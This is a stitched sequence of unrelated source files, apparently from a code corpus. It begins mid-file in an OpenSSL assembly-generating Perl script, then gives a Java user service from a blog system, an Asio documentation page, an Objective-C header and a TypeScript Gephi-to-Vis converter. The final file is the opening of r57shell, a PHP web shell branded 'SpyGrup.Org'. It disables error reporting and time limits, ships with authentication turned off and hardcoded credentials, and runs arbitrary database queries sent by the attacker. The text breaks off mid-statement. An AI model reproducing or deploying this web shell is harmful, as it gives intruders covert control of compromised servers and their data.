disp->HandlerData\n\n\tmov\t0(%r11),%r10d\t\t# HandlerData[0]\n\tlea\t(%rsi,%r10),%r10\t# end of prologue label\n\tcmp\t%r10,%rbx\t\t# context->Rip<.Lsqr_body\n\tjb\t.Lcommon_seh_tail\n\n\tmov\t4(%r11),%r10d\t\t# HandlerData[1]\n\tlea\t(%rsi,%r10),%r10\t# body label\n\tcmp\t%r10,%rbx\t\t# context->Rip>=.Lsqr_epilogue\n\tjb\t.Lcommon_pop_regs\n\n\tmov\t152($context),%rax\t# pull context->Rsp\n\n\tmov\t8(%r11),%r10d\t\t# HandlerData[2]\n\tlea\t(%rsi,%r10),%r10\t# epilogue label\n\tcmp\t%r10,%rbx\t\t# context->Rip>=.Lsqr_epilogue\n\tjae\t.Lcommon_seh_tail\n\n\tmov\t40(%rax),%rax\t\t# pull saved stack pointer\n\n.Lcommon_pop_regs:\n\tmov\t-8(%rax),%rbx\n\tmov\t-16(%rax),%rbp\n\tmov\t-24(%rax),%r12\n\tmov\t-32(%rax),%r13\n\tmov\t-40(%rax),%r14\n\tmov\t-48(%rax),%r15\n\tmov\t%rbx,144($context)\t# restore context->Rbx\n\tmov\t%rbp,160($context)\t# restore context->Rbp\n\tmov\t%r12,216($context)\t# restore context->R12\n\tmov\t%r13,224($context)\t# restore context->R13\n\tmov\t%r14,232($context)\t# restore context->R14\n\tmov\t%r15,240($context)\t# restore context->R15\n\n.Lcommon_seh_tail:\n\tmov\t8(%rax),%rdi\n\tmov\t16(%rax),%rsi\n\tmov\t%rax,152($context)\t# restore context->Rsp\n\tmov\t%rsi,168($context)\t# restore context->Rsi\n\tmov\t%rdi,176($context)\t# restore context->Rdi\n\n\tmov\t40($disp),%rdi\t\t# disp->ContextRecord\n\tmov\t$context,%rsi\t\t# context\n\tmov\t\\$154,%ecx\t\t# sizeof(CONTEXT)\n\t.long\t0xa548f3fc\t\t# cld; rep movsq\n\n\tmov\t$disp,%rsi\n\txor\t%rcx,%rcx\t\t# arg1, UNW_FLAG_NHANDLER\n\tmov\t8(%rsi),%rdx\t\t# arg2, disp->ImageBase\n\tmov\t0(%rsi),%r8\t\t# arg3, disp->ControlPc\n\tmov\t16(%rsi),%r9\t\t# arg4, disp->FunctionEntry\n\tmov\t40(%rsi),%r10\t\t# disp->ContextRecord\n\tlea\t56(%rsi),%r11\t\t# &disp->HandlerData\n\tlea\t24(%rsi),%r12\t\t# &disp->EstablisherFrame\n\tmov\t%r10,32(%rsp)\t\t# arg5\n\tmov\t%r11,40(%rsp)\t\t# arg6\n\tmov\t%r12,48(%rsp)\t\t# arg7\n\tmov\t%rcx,56(%rsp)\t\t# arg8, (NULL)\n\tcall\t*__imp_RtlVirtualUnwind(%rip)\n\n\tmov\t\\$1,%eax\t\t# ExceptionContinueSearch\n\tadd\t\\$64,%rsp\n\tpopfq\n\tpop\t%r15\n\tpop\t%r14\n\tpop\t%r13\n\tpop\t%r12\n\tpop\t%rbp\n\tpop\t%rbx\n\tpop\t%rdi\n\tpop\t%rsi\n\tret\n.size\tsqr_handler,.-sqr_handler\n\n.section\t.pdata\n.align\t4\n\t.rva\t.LSEH_begin_bn_mul_mont\n\t.rva\t.LSEH_end_bn_mul_mont\n\t.rva\t.LSEH_info_bn_mul_mont\n\n\t.rva\t.LSEH_begin_bn_mul4x_mont\n\t.rva\t.LSEH_end_bn_mul4x_mont\n\t.rva\t.LSEH_info_bn_mul4x_mont\n\n\t.rva\t.LSEH_begin_bn_sqr8x_mont\n\t.rva\t.LSEH_end_bn_sqr8x_mont\n\t.rva\t.LSEH_info_bn_sqr8x_mont\n___\n$code.=<<___ if ($addx);\n\t.rva\t.LSEH_begin_bn_mulx4x_mont\n\t.rva\t.LSEH_end_bn_mulx4x_mont\n\t.rva\t.LSEH_info_bn_mulx4x_mont\n___\n$code.=<<___;\n.section\t.xdata\n.align\t8\n.LSEH_info_bn_mul_mont:\n\t.byte\t9,0,0,0\n\t.rva\tmul_handler\n\t.rva\t.Lmul_body,.Lmul_epilogue\t# HandlerData[]\n.LSEH_info_bn_mul4x_mont:\n\t.byte\t9,0,0,0\n\t.rva\tmul_handler\n\t.rva\t.Lmul4x_body,.Lmul4x_epilogue\t# HandlerData[]\n.LSEH_info_bn_sqr8x_mont:\n\t.byte\t9,0,0,0\n\t.rva\tsqr_handler\n\t.rva\t.Lsqr8x_prologue,.Lsqr8x_body,.Lsqr8x_epilogue\t\t# HandlerData[]\n.align\t8\n___\n$code.=<<___ if ($addx);\n.LSEH_info_bn_mulx4x_mont:\n\t.byte\t9,0,0,0\n\t.rva\tsqr_handler\n\t.rva\t.Lmulx4x_prologue,.Lmulx4x_body,.Lmulx4x_epilogue\t# HandlerData[]\n.align\t8\n___\n}\n\nprint $code;\nclose STDOUT;\n"} {"text": "/*\n * Bolo - A stable and beautiful blogging system based in Solo.\n * Copyright (c) 2020, https://github.com/adlered\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program. If not, see <https://www.gnu.org/licenses/>.\n */\npackage org.b3log.solo.service;\n\nimport org.b3log.latke.Keys;\nimport org.b3log.latke.Latkes;\nimport org.b3log.latke.ioc.Inject;\nimport org.b3log.latke.logging.Level;\nimport org.b3log.latke.logging.Logger;\nimport org.b3log.latke.model.Pagination;\nimport org.b3log.latke.model.User;\nimport org.b3log.latke.repository.FilterOperator;\nimport org.b3log.latke.repository.PropertyFilter;\nimport org.b3log.latke.repository.Query;\nimport org.b3log.latke.repository.RepositoryException;\nimport org.b3log.latke.service.ServiceException;\nimport org.b3log.latke.service.annotation.Service;\nimport org.b3log.latke.util.Paginator;\nimport org.b3log.latke.util.URLs;\nimport org.b3log.solo.model.Option;\nimport org.b3log.solo.model.UserExt;\nimport org.b3log.solo.repository.OptionRepository;\nimport org.b3log.solo.repository.UserRepository;\nimport org.json.JSONArray;\nimport org.json.JSONObject;\n\nimport java.util.List;\n\n/**\n * User query service.\n *\n * @author <a href=\"http://88250.b3log.org\">Liang Ding (Solo Author)</a>\n * @author <a href=\"https://github.com/adlered\">adlered (Bolo Author)</a>\n * @since 0.4.0\n */\n@Service\npublic class UserQueryService {\n\n /**\n * Logger.\n */\n private static final Logger LOGGER = Logger.getLogger(UserQueryService.class);\n\n /**\n * User repository.\n */\n @Inject\n private UserRepository userRepository;\n\n /**\n * User management service.\n */\n @Inject\n private UserMgmtService userMgmtService;\n\n /**\n * Option repository.\n */\n @Inject\n private OptionRepository optionRepository;\n\n /**\n * Gets a user by the specified GitHub id.\n *\n * @param githubId the specified GitHub id\n * @return user, returns {@code null} if not found\n */\n public JSONObject getUserByGitHubId(final String githubId) {\n try {\n return userRepository.getFirst(new Query().setFilter(new PropertyFilter(UserExt.USER_GITHUB_ID, FilterOperator.EQUAL, githubId)));\n } catch (final Exception e) {\n LOGGER.log(Level.ERROR, \"Gets a user by GitHub id [\" + githubId + \"] failed\", e);\n\n return null;\n }\n }\n\n /**\n * Gets the administrator.\n *\n * @return administrator, returns {@code null} if not found\n */\n public JSONObject getAdmin() {\n try {\n return userRepository.getAdmin();\n } catch (final RepositoryException e) {\n LOGGER.log(Level.ERROR, \"Gets admin failed\", e);\n return null;\n }\n }\n\n /**\n * Gets a user by the specified user name.\n *\n * @param userName the specified user name\n * @return user, returns {@code null} if not found\n */\n public JSONObject getUserByName(final String userName) {\n try {\n return userRepository.getByUserName(userName);\n } catch (final RepositoryException e) {\n LOGGER.log(Level.ERROR, \"Gets a user by username [\" + userName + \"] failed\", e);\n\n return null;\n }\n }\n\n /**\n * Gets users by the specified request json object.\n *\n * @param requestJSONObject the specified request json object, for example,\n * \"paginationCurrentPageNum\": 1,\n * \"paginationPageSize\": 20,\n * \"paginationWindowSize\": 10\n * @return for example,\n * <pre>\n * {\n * \"pagination\": {\n * \"paginationPageCount\": 100,\n * \"paginationPageNums\": [1, 2, 3, 4, 5]\n * },\n * \"users\": [{\n * \"oId\": \"\",\n * \"userName\": \"\",\n * \"roleName\": \"\"\n * }, ....]\n * }\n * </pre>\n * @throws ServiceException service exception\n * @see Pagination\n */\n public JSONObject getUsers(final JSONObject requestJSONObject) throws ServiceException {\n final JSONObject ret = new JSONObject();\n\n final int currentPageNum = requestJSONObject.optInt(Pagination.PAGINATION_CURRENT_PAGE_NUM);\n final int pageSize = requestJSONObject.optInt(Pagination.PAGINATION_PAGE_SIZE);\n final int windowSize = requestJSONObject.optInt(Pagination.PAGINATION_WINDOW_SIZE);\n final Query query = new Query().setPage(currentPageNum, pageSize);\n\n JSONObject result;\n try {\n result = userRepository.get(query);\n } catch (final RepositoryException e) {\n LOGGER.log(Level.ERROR, \"Gets users failed\", e);\n\n throw new ServiceException(e);\n }\n\n final int pageCount = result.optJSONObject(Pagination.PAGINATION).optInt(Pagination.PAGINATION_PAGE_COUNT);\n final JSONObject pagination = new JSONObject();\n ret.put(Pagination.PAGINATION, pagination);\n final List<Integer> pageNums = Paginator.paginate(currentPageNum, pageSize, pageCount, windowSize);\n pagination.put(Pagination.PAGINATION_PAGE_COUNT, pageCount);\n pagination.put(Pagination.PAGINATION_PAGE_NUMS, pageNums);\n final JSONArray users = result.optJSONArray(Keys.RESULTS);\n ret.put(User.USERS, users);\n\n return ret;\n }\n\n /**\n * Gets a user by the specified user id.\n *\n * @param userId the specified user id\n * @return for example,\n * <pre>\n * {\n * \"user\": {\n * \"oId\": \"\",\n * \"userName\": \"\"\n * }\n * }\n * </pre>, returns {@code null} if not found\n */\n public JSONObject getUser(final String userId) {\n final JSONObject ret = new JSONObject();\n\n JSONObject user;\n try {\n user = userRepository.get(userId);\n } catch (final RepositoryException e) {\n LOGGER.log(Level.ERROR, \"Gets a user failed\", e);\n\n return null;\n }\n\n if (null == user) {\n return null;\n }\n\n ret.put(User.USER, user);\n\n return ret;\n }\n\n /**\n * Gets the URL of user logout.\n *\n * @return logout URL, returns {@code null} if the user is not logged in\n */\n public String getLogoutURL() {\n String to = Latkes.getServePath();\n to = URLs.encode(to);\n\n return Latkes.getContextPath() + \"/logout?referer=\" + to;\n }\n\n /**\n * Gets the URL of user login.\n *\n * @param redirectURL redirect URL after logged in\n * @return login URL\n */\n public String getLoginURL(final String redirectURL) {\n String to = Latkes.getServePath();\n to = URLs.encode(to + redirectURL);\n\n return Latkes.getContextPath() + \"/start?referer=\" + to;\n }\n\n /**\n * Get B3log Username. If it's not exists, will returns default account config.\n *\n * @return B3log Username\n */\n public String getB3username() {\n String b3name = \"\";\n try {\n b3name = optionRepository.get(Option.ID_C_HACPAI_USER).optString(Option.OPTION_VALUE);\n } catch (Exception e) {\n b3name = Option.DefaultPreference.DEFAULT_B3LOG_USERNAME;\n }\n if (b3name.isEmpty()) {\n b3name = Option.DefaultPreference.DEFAULT_B3LOG_USERNAME;\n }\n\n return b3name;\n }\n\n /**\n * Get B3log Passwrd. If it's not exists, will returns default account config.\n *\n * @return B3log Password\n */\n public String getB3password() {\n String b3pass = \"\";\n try {\n b3pass = optionRepository.get(Option.ID_C_B3LOG_KEY).optString(Option.OPTION_VALUE);\n } catch (Exception e) {\n b3pass = Option.DefaultPreference.DEFAULT_B3LOG_PASSWORD;\n }\n if (b3pass.isEmpty()) {\n b3pass = Option.DefaultPreference.DEFAULT_B3LOG_PASSWORD;\n }\n\n return b3pass;\n }\n}\n"} {"text": "{\r\n \"defaultTitle\": \"收货地址\"\r\n}"} {"text": "<html>\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=US-ASCII\">\n<title>const_buffers_1::data</title>\n<link rel=\"stylesheet\" href=\"../../../boostbook.css\" type=\"text/css\">\n<meta name=\"generator\" content=\"DocBook XSL Stylesheets V1.75.2\">\n<link rel=\"home\" href=\"../../../index.html\" title=\"Asio\">\n<link rel=\"up\" href=\"../const_buffers_1.html\" title=\"const_buffers_1\">\n<link rel=\"prev\" href=\"const_iterator.html\" title=\"const_buffers_1::const_iterator\">\n<link rel=\"next\" href=\"end.html\" title=\"const_buffers_1::end\">\n</head>\n<body bgcolor=\"white\" text=\"black\" link=\"#0000FF\" vlink=\"#840084\" alink=\"#0000FF\">\n<table cellpadding=\"2\" width=\"100%\"><tr><td valign=\"top\"><img alt=\"asio C++ library\" width=\"250\" height=\"60\" src=\"../../../asio.png\"></td></tr></table>\n<hr>\n<div class=\"spirit-nav\">\n<a accesskey=\"p\" href=\"const_iterator.html\"><img src=\"../../../prev.png\" alt=\"Prev\"></a><a accesskey=\"u\" href=\"../const_buffers_1.html\"><img src=\"../../../up.png\" alt=\"Up\"></a><a accesskey=\"h\" href=\"../../../index.html\"><img src=\"../../../home.png\" alt=\"Home\"></a><a accesskey=\"n\" href=\"end.html\"><img src=\"../../../next.png\" alt=\"Next\"></a>\n</div>\n<div class=\"section\">\n<div class=\"titlepage\"><div><div><h4 class=\"title\">\n<a name=\"asio.reference.const_buffers_1.data\"></a><a class=\"link\" href=\"data.html\" title=\"const_buffers_1::data\">const_buffers_1::data</a>\n</h4></div></div></div>\n<p>\n <span class=\"emphasis\"><em>Inherited from const_buffer.</em></span>\n </p>\n<p>\n <a class=\"indexterm\" name=\"asio.indexterm.const_buffers_1.data\"></a> \nGet a pointer to\n the beginning of the memory range.\n </p>\n<pre class=\"programlisting\">const void * data() const;\n</pre>\n</div>\n<table xmlns:rev=\"http://www.cs.rpi.edu/~gregod/boost/tools/doc/revision\" width=\"100%\"><tr>\n<td align=\"left\"></td>\n<td align=\"right\"><div class=\"copyright-footer\">Copyright &#169; 2003-2018 Christopher M. Kohlhoff<p>\n Distributed under the Boost Software License, Version 1.0. (See accompanying\n file LICENSE_1_0.txt or copy at <a href=\"http://www.boost.org/LICENSE_1_0.txt\" target=\"_top\">http://www.boost.org/LICENSE_1_0.txt</a>)\n </p>\n</div></td>\n</tr></table>\n<hr>\n<div class=\"spirit-nav\">\n<a accesskey=\"p\" href=\"const_iterator.html\"><img src=\"../../../prev.png\" alt=\"Prev\"></a><a accesskey=\"u\" href=\"../const_buffers_1.html\"><img src=\"../../../up.png\" alt=\"Up\"></a><a accesskey=\"h\" href=\"../../../index.html\"><img src=\"../../../home.png\" alt=\"Home\"></a><a accesskey=\"n\" href=\"end.html\"><img src=\"../../../next.png\" alt=\"Next\"></a>\n</div>\n</body>\n</html>\n"} {"text": "#import <UIKit/UIKit.h>\n#import \"MITAutoSizingCell.h\"\n\n@interface MITToursInfoCell : MITAutoSizingCell\n\n@property (weak, nonatomic) IBOutlet UIButton *infoButton;\n@property (weak, nonatomic) IBOutlet UIView *separatorView;\n\n@end\n"} {"text": "export type Id = number | string;\n\nexport interface ColorObject {\n background: string;\n border: string;\n highlight: {\n background: string;\n border: string;\n };\n hover: {\n background: string;\n border: string;\n };\n}\n\nexport interface GephiData {\n nodes: GephiNode[];\n edges: GephiEdge[];\n}\nexport interface GephiParseOptions {\n fixed?: boolean;\n inheritColor?: boolean;\n parseColor?: boolean;\n}\n\nexport interface GephiNode {\n id: Id;\n\n attributes?: { title?: string };\n color?: string;\n label?: string;\n size?: number;\n title?: string;\n x?: number;\n y?: number;\n}\nexport interface GephiEdge {\n id: Id;\n source: Id;\n target: Id;\n\n attributes?: { title?: string };\n color?: string;\n label?: string;\n type?: string;\n}\n\nexport interface VisData {\n nodes: VisNode[];\n edges: VisEdge[];\n}\n\nexport interface VisNode {\n id: Id;\n fixed: boolean;\n\n color?: string | ColorObject;\n label?: string;\n size?: number;\n title?: string;\n x?: number;\n y?: number;\n\n attributes?: unknown;\n}\nexport interface VisEdge {\n id: Id;\n from: Id;\n to: Id;\n\n arrows?: \"to\";\n color?: string;\n label?: string;\n title?: string;\n\n attributes?: unknown;\n}\n\n/**\n * Convert Gephi to Vis.\n *\n * @param gephiJSON - The parsed JSON data in Gephi format.\n * @param optionsObj - Additional options.\n *\n * @returns The converted data ready to be used in Vis.\n */\nexport function parseGephi(\n gephiJSON: GephiData,\n optionsObj?: GephiParseOptions\n): VisData {\n const options = {\n edges: {\n inheritColor: false,\n },\n nodes: {\n fixed: false,\n parseColor: false,\n },\n };\n\n if (optionsObj != null) {\n if (optionsObj.fixed != null) {\n options.nodes.fixed = optionsObj.fixed;\n }\n if (optionsObj.parseColor != null) {\n options.nodes.parseColor = optionsObj.parseColor;\n }\n if (optionsObj.inheritColor != null) {\n options.edges.inheritColor = optionsObj.inheritColor;\n }\n }\n\n const gEdges = gephiJSON.edges;\n const vEdges = gEdges.map(\n (gEdge): VisEdge => {\n const vEdge: VisEdge = {\n from: gEdge.source,\n id: gEdge.id,\n to: gEdge.target,\n };\n\n if (gEdge.attributes != null) {\n vEdge.attributes = gEdge.attributes;\n }\n if (gEdge.label != null) {\n vEdge.label = gEdge.label;\n }\n if (gEdge.attributes != null && gEdge.attributes.title != null) {\n vEdge.title = gEdge.attributes.title;\n }\n if (gEdge.type === \"Directed\") {\n vEdge.arrows = \"to\";\n }\n // edge['value'] = gEdge.attributes != null ? gEdge.attributes.Weight : undefined;\n // edge['width'] = edge['value'] != null ? undefined : edgegEdge.size;\n if (gEdge.color && options.edges.inheritColor === false) {\n vEdge.color = gEdge.color;\n }\n\n return vEdge;\n }\n );\n\n const vNodes = gephiJSON.nodes.map(\n (gNode): VisNode => {\n const vNode: VisNode = {\n id: gNode.id,\n fixed: options.nodes.fixed && gNode.x != null && gNode.y != null,\n };\n\n if (gNode.attributes != null) {\n vNode.attributes = gNode.attributes;\n }\n if (gNode.label != null) {\n vNode.label = gNode.label;\n }\n if (gNode.size != null) {\n vNode.size = gNode.size;\n }\n if (gNode.attributes != null && gNode.attributes.title != null) {\n vNode.title = gNode.attributes.title;\n }\n if (gNode.title != null) {\n vNode.title = gNode.title;\n }\n if (gNode.x != null) {\n vNode.x = gNode.x;\n }\n if (gNode.y != null) {\n vNode.y = gNode.y;\n }\n if (gNode.color != null) {\n if (options.nodes.parseColor === true) {\n vNode.color = gNode.color;\n } else {\n vNode.color = {\n background: gNode.color,\n border: gNode.color,\n highlight: {\n background: gNode.color,\n border: gNode.color,\n },\n hover: {\n background: gNode.color,\n border: gNode.color,\n },\n };\n }\n }\n\n return vNode;\n }\n );\n\n return { nodes: vNodes, edges: vEdges };\n}\n"} {"text": "<?php\n/******************************************************************************************************/\n/* \n/* \n/* ssssssss pppp pppp yyyyyy yyyyyy gggg gggg rrrr rrrr uuuu uuuu pppp pppp \n/* ss pppp pp yy yy gg gggg rrrr uu uu pppp pp\n/* ssssss pp pp yy yy gg gg rr uu uu pp pp\n/* ss pp pp yy yy gg gg rr uu uuuu pp pp\n/* ssssssss pppppppp yy gggggggg rrrrrrrr uuuu uuuu pppppppp \n/* pp yy gg pp \n/* pppppp yyyyyy gggggg pppppp \n/* \n/* admin@spygrup.org[Kruis] - yaduris@spygrup.org[YaduriS]\n/*\n/*\n/* r57shell.php - ?????? ?? ??? ??????????? ??? ????????? ???? ??????? ?? ??????? ????? ???????\n/* ??????: 1.23\n/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/\n/******************************************************************************************************/\n\n/* ~~~ ????????? ~~~ */\nerror_reporting(0);\nset_magic_quotes_runtime(0);\n@set_time_limit(0);\n@ini_set('max_execution_time',0);\n@ini_set('output_buffering',0);\n$safe_mode = @ini_get('safe_mode');\n$version = \"SpyGrup.Org SpeciaL\";\nif(version_compare(phpversion(), '4.1.0') == -1)\n {\n $_POST = &$HTTP_POST_VARS;\n $_GET = &$HTTP_GET_VARS;\n $_SERVER = &$HTTP_SERVER_VARS;\n }\nif (@get_magic_quotes_gpc())\n {\n foreach ($_POST as $k=>$v)\n {\n $_POST[$k] = stripslashes($v);\n }\n foreach ($_SERVER as $k=>$v)\n {\n $_SERVER[$k] = stripslashes($v);\n }\n }\n\n/* ~~~ ?????????????? ~~~ */\n\n// $auth = 1; - ?????????????? ????????\n// $auth = 0; - ?????????????? ?????????\n$auth = 0;\n\n// ????? ? ?????? ??? ??????? ? ???????\n// ?? ???????? ??????? ????? ??????????? ?? ???????!!!\n$name='teufel'; // ????? ????????????\n$pass='spyms'; // ?????? ????????????\n\nif($auth == 1) {\nif (!isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']!==$name || $_SERVER['PHP_AUTH_PW']!==$pass)\n {\n header('WWW-Authenticate: Basic realm=\"shell\"');\n header('HTTP/1.0 401 Unauthorized');\n exit(\"<b><a href=http://www.spygrup.org>www.spygrup.org</a> : Access Denied</b>\");\n }\n}\n$head = '<!-- ?????????? ???? -->\n<html>\n<head>\n<title>shell</title>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\">\n\n<STYLE>\ntr {\nBORDER-RIGHT: #aaaaaa 1px solid;\nBORDER-TOP: #eeeeee 1px solid;\nBORDER-LEFT: #eeeeee 1px solid;\nBORDER-BOTTOM: #aaaaaa 1px solid;\n}\ntd {\nBORDER-RIGHT: #aaaaaa 1px solid;\nBORDER-TOP: #eeeeee 1px solid;\nBORDER-LEFT: #eeeeee 1px solid;\nBORDER-BOTTOM: #aaaaaa 1px solid;\n}\n.table1 {\nBORDER-RIGHT: #cccccc 0px;\nBORDER-TOP: #cccccc 0px;\nBORDER-LEFT: #cccccc 0px;\nBORDER-BOTTOM: #cccccc 0px;\nBACKGROUND-COLOR: #D4D0C8;\n}\n.td1 {\nBORDER-RIGHT: #cccccc 0px;\nBORDER-TOP: #cccccc 0px;\nBORDER-LEFT: #cccccc 0px;\nBORDER-BOTTOM: #cccccc 0px;\nfont: 7pt Verdana;\n}\n.tr1 {\nBORDER-RIGHT: #cccccc 0px;\nBORDER-TOP: #cccccc 0px;\nBORDER-LEFT: #cccccc 0px;\nBORDER-BOTTOM: #cccccc 0px;\n}\ntable {\nBORDER-RIGHT: #eeeeee 1px outset;\nBORDER-TOP: #eeeeee 1px outset;\nBORDER-LEFT: #eeeeee 1px outset;\nBORDER-BOTTOM: #eeeeee 1px outset;\nBACKGROUND-COLOR: #D4D0C8;\n}\ninput {\nBORDER-RIGHT: #ffffff 1px solid;\nBORDER-TOP: #999999 1px solid;\nBORDER-LEFT: #999999 1px solid;\nBORDER-BOTTOM: #ffffff 1px solid;\nBACKGROUND-COLOR: #e4e0d8;\nfont: 8pt Verdana;\n}\nselect {\nBORDER-RIGHT: #ffffff 1px solid;\nBORDER-TOP: #999999 1px solid;\nBORDER-LEFT: #999999 1px solid;\nBORDER-BOTTOM: #ffffff 1px solid;\nBACKGROUND-COLOR: #e4e0d8;\nfont: 8pt Verdana;\n}\nsubmit {\nBORDER-RIGHT: buttonhighlight 2px outset;\nBORDER-TOP: buttonhighlight 2px outset;\nBORDER-LEFT: buttonhighlight 2px outset;\nBORDER-BOTTOM: buttonhighlight 2px outset;\nBACKGROUND-COLOR: #e4e0d8;\nwidth: 30%;\n}\ntextarea {\nBORDER-RIGHT: #ffffff 1px solid;\nBORDER-TOP: #999999 1px solid;\nBORDER-LEFT: #999999 1px solid;\nBORDER-BOTTOM: #ffffff 1px solid;\nBACKGROUND-COLOR: #e4e0d8;\nfont: Fixedsys bold;\n}\nBODY {\nmargin-top: 1px;\nmargin-right: 1px;\nmargin-bottom: 1px;\nmargin-left: 1px;\n}\nA:link {COLOR:red; TEXT-DECORATION: none}\nA:visited { COLOR:red; TEXT-DECORATION: none}\nA:active {COLOR:red; TEXT-DECORATION: none}\nA:hover {color:blue;TEXT-DECORATION: none}\n</STYLE>';\nif(isset($_GET['phpinfo'])) { echo @phpinfo(); echo \"<br><div align=center><font face=Verdana size=-2><b>[ <a href=\".$_SERVER['PHP_SELF'].\">BACK</a> ]</b></font></div>\"; die(); }\nif ($_POST['cmd']==\"db_query\")\n {\n echo $head;\n switch($_POST['db'])\n {\n case 'MySQL':\n if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; }\n $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);\n if($db)\n {\n \tif(!empty($_POST['mysql_db'])) { @mysql_select_db($_POST['mysql_db'],$db); }\n $querys = @explode(';',$_POST['db_query']);\n foreach($querys as $num=>$query)\n {\n if(strlen($query)>5){\n echo \"<font face=Verdana size=-2 color=green><b>Query#\".$num.\" : \".htmlspecialchars($query).\"</b></font><br>\";\n $res = @mysql_query($query,$db);\n $error = @mysql_error($db);\n if($error) { echo \"<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>\".$error.\"</b></font></td></tr></table><br>\"; }\n else {\n if (@mysql_num_rows($res) > 0)\n {\n $sql2 = $sql = $keys = $values = '';\n while (($row = @mysql_fetch_assoc($res)))\n {\n $keys = @implode(\"&nbsp;</b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;\", @array_keys($row));\n $values = @array_values($row);\n foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);}\n $values = @implode(\"&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;\",$values);\n $sql2 .= \"<tr><td><font face=Verdana size=-2>&nbsp;\".$values.\"&nbsp;</font></td></tr>\";\n }\n echo \"<table width=100%>\";\n $sql = \"<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;\".$keys.\"&nbsp;</b></font></td></tr>\";\n $sql .= $sql2;\n echo $sql;\n echo \"</table><br>\";\n }\n else { if(($rows = @mysql_affected_rows($db))>=0) { echo \"<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>\".$rows.\"</b></font></td></tr></table><br>\"; } }\n }\n @mysql_free_result($res);\n }\n }\n \t@mysql_close($db);\n }\n else echo \"<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to MySQL server</b></font></div>\";\n break;\n case 'MSSQL':\n if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; }\n $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);\n if($db)\n {\n \tif(!empty($_POST['mysql_db'])) { @mssql_select_db($_POST['mysql_db'],$db); }\n $querys = @explode(';',$_POST['db_query']);\n foreach($querys as $num=>$query)\n {\n if(strlen($query)>5){\n echo \"<font face=Verdana size=-2 color=green><b>Query#\".$num.\" : \".htmlspecialchars($query).\"</b></font><br>\";\n $res = @mssql_query($query,$db);\n if (@mssql_num_rows($res) > 0)\n {\n $sql2 = $sql = $keys = $values = '';\n while (($row = @mssql_fetch_assoc($res)))\n {\n $keys = @implode(\"&nbsp;</b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;\", @array_keys($row));\n $values = @array_values($row);\n foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);}\n $values = @implode(\"&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;\",$values);\n $sql2 .= \"<tr><td><font face=Verdana size=-2>&nbsp;\".$values.\"&nbsp;</font></td></tr>\";\n }\n echo \"<table width=100%>\";\n $sql = \"<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;\".$keys.\"&nbsp;</b></font></td></tr>\";\n $sql .= $sql2;\n echo $sql;\n echo \"</table><br>\";\n }\n /* else { if(($rows = @mssql_affected_rows($db)) > 0) { echo \"<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>\".$rows.\"</b></font></td></tr></table><br>\"; } else { echo \"<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>\".$error.\"</b></font></td></tr></table><br>\"; }} */\n @mssql_free_result($res);\n }\n }\n \t@mssql_close($db);\n }\n else echo \"<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to MSSQL server</b></font></div>\";\n break;\n case 'PostgreSQL':\n if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; }\n $str = \"host='localhost' port='\".$_POST['db_port'].\"' user='\".$_POST['mysql_l'].\"' password='\".$_POST['mysql_p'].\"' dbname='\".$_POST['mysql_db'].\"'\";\n $db = @pg_connect($str);\n if($db)\n {\n $querys = @explode(';',$_POST['db_query']);\n foreach($querys as $num=>$query)\n {\n if(strlen($query)>5){\n echo \"<font face=Verdana size=-2 color=green><b>Query#\".$num.\" : \".htmlspecialchars($query).\"</b></font><br>\";\n $res = @pg_query($db,$query);\n $error = @pg_errormessage($db);\n if($error) { echo \"<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>\".$error.\"</b></font></td></tr></table><br>\"; }\n else {\n if (@pg_num_rows($res) > 0)\n {\n $sql2 = $sql = $keys = $values = '';\n while (($row = @pg_fetch_assoc($res)))\n {\n $keys = @implode(\"&nbsp;</b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;\", @array_keys($row));\n $values = @array_values($row);\n foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);}\n $values = @implode(\"&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;\",$values);\n $sql2 .= \"<tr><td><font face=Verdana size=-2>&nbsp;\".$values.\"&nbsp;</font></td></tr>\";\n }\n echo \"<table width=100%>\";\n $sql = \"<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;\".$keys.\"&nbsp;</b></font></td></tr>\";\n $sql .= $sql2;\n echo $sql;\n echo \"</table><br>\";\n }\n else { if(($rows = @pg_affected_rows($res))>=0) { echo \"<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>\".$rows.\"</b></font></td></tr></table><br>\"; } }\n }\n @pg_free_result($res);\n }\n }\n \t@pg_close($db);\n }\n else echo 